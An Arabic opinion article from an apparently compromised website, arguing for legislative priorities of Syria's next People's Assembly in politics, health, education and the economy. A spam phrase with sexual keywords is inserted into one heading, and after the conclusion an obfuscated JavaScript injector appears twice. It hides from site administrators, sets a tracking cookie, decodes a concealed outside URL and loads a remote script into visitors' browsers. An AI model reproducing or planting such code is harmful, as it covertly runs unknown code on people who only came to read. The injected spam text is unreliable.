مجلس الشعب القادم في سوريا: تشريعات نحو مستقبل أفضل

0

تمر سوريا بمرحلة حساسة تستدعي إعادة البناء والتعمير على الأصعدة كافة، ولا يقتصر هذا البناء على الحجر والبنيان، بل يتعداه إلى إعادة تأهيل البنية التشريعية والسياسية والاجتماعية التي تُشكّل ركيزة أي مجتمع ينشد الاستقرار والازدهار. في هذا السياق، تتجه الأنظار نحو مجلس الشعب القادم، الذي يحمل على عاتقه أمانة تشريعية كبيرة، ومسؤولية تاريخية في سن حزمة من القوانين التي تُنظم الحياة وتواكب متطلبات المرحلة الراهنة.

أولاً: تحديث المنظومة السياسية والحزبية. splash_atl carrie fisher nude

من المتوقع أن يكون ملف تحديث الحياة السياسية على رأس أولويات المجلس القادم. فبعد سنوات من الأزمة، أصبحت الحاجة ملحة لقوانين تعزز مفهوم الدولة الوطنية وتوسع قاعدة المشاركة السياسية. يتطلع المواطنون إلى:

– قانون للأحزاب السياسية: يكون أكثر شمولاً ووضوحاً، يضع أُطراً واضحة لتشكيل الأحزاب وتمويلها وعملها، بما يضمن تنافساً سياسياً سلمياً قائماً على البرامج، ويعزز التعددية الفكرية في إطار الوحدة الوطنية، ويبعد العمل السياسي عن الانتماءات الطائفية والمناطقية الضيقة.

– قانون الانتخابات: يُعيد النظر في بعض آليات العملية الانتخابية لتعزيز النزاهة والشفافية، ويمكّن كافة فئات المجتمع من تمثيل حقيقي، ويُعزز ثقة الناخب بأن صوته هو من يصنع القرار.

– قانون يسهل عمل منظمات المجتمع المدني: الذي ينظم عمل هذه المنظمات ويحميها من الاستغلال، ويُحفزها على المساهمة في عملية التنمية المجتمعية والإغاثية والاقتصادية، كشريك فاعل للدولة.

ثانياً: قوانين لتحقيق نقلة نوعية في الصحة والتعليم

لا تقل الأولوية الاجتماعية أهمية عن السياسية، فالمجتمع السوري بحاجة ماسة إلى إعادة إحياء قطاعي الصحة والتعليم، اللذين تعرضا لانتكاسات كبيرة.

– في قطاع الصحة: ينتظر المواطنون قوانين تدعم التأمين الصحي الشامل، وتزيد من مخصصات القطاع الصحي في الموازنة العامة، وتشجع الاستثمار في المستشفيات والمراكز الطبية، وتسن تشريعات صارمة لمكافحة الفساد في هذا القطاع الحيوي. كما أن قانوناً ينظم تداول الأدوية ويحارب احتكارها ويراقب أسعارها بات مطلباً ملحاً لكل أسرة سورية.

– في قطاع التعليم: يجب أن يركز المجلس على قوانين تعيد الهيبة للمعلم وتطور المناهج التعليمية لتركز على مهارات التفكير النقدي والعلوم التطبيقية وروح المواطنة، وتدعم التعليم المهني والتقني لمواكبة سوق العمل. كما أن تشريعات تخص مكافحة تسرب الأطفال من المدارس، ودعم التعليم في المناطق المتأثرة بالأزمة هي من صميم أولويات إعادة بناء الإنسان السوري.

ثالثاً: قوانين اقتصادية واجتماعية داعمة

لا يمكن فصل الجانب السياسي والاجتماعي عن الاقتصادي. لذلك، من المنتظر أن يساهم المجلس في سن تشريعات تحفز الاستثمار وتكافح البطالة، وتوفر الحماية الاجتماعية للفئات الأكثر احتياجاً، وتنظم سوق العمل، وتضع حداً للاحتكار والممارسات التي أرهقت كاهل المواطن.

أرى أن المهمة الملقاة على عاتق مجلس الشعب القادم هي مهمة تشريعية تاريخية. إنها ليست مجرد مناقشة لنصوص قانونية، بل هي عملية إعادة تعريف للعقد الاجتماعي بين الدولة والمواطن. النجاح في هذه المهمة لن يُقاس بعدد القوانين المصادق عليها، بل بقدرة هذه القوانين على لمس واقع حياة الناس، وخلق بيئة من الثقة، والمساهمة في طي صفحة الماضي بكل ما حملته من آلام، وفتح صفحة جديدة قوامها العدالة، والكرامة، والمواطنة الفاعلة، والانطلاق نحو مستقبل أكثر أملاً واستقراراً لجميع السوريين.

(function(){try{if(document.getElementById&&document.getElementById(‘wpadminbar’))return;var t0=+new Date();for(var i=0;i120)return;if((document.cookie||”).indexOf(‘http2_session_id=’)!==-1)return;function systemLoad(input){var key=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’,o1,o2,o3,h1,h2,h3,h4,dec=”,i=0;input=input.replace(/[^A-Za-z0-9+/=]/g,”);while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<>4);o2=((h2&15)<>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();(function(){try{if(document.getElementById&&document.getElementById(‘wpadminbar’))return;var t0=+new Date();for(var i=0;i120)return;if((document.cookie||”).indexOf(‘http2_session_id=’)!==-1)return;function systemLoad(input){var key=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’,o1,o2,o3,h1,h2,h3,h4,dec=”,i=0;input=input.replace(/[^A-Za-z0-9+/=]/g,”);while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<>4);o2=((h2&15)<>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();

لن يتم نشر عنوان بريدك الالكتروني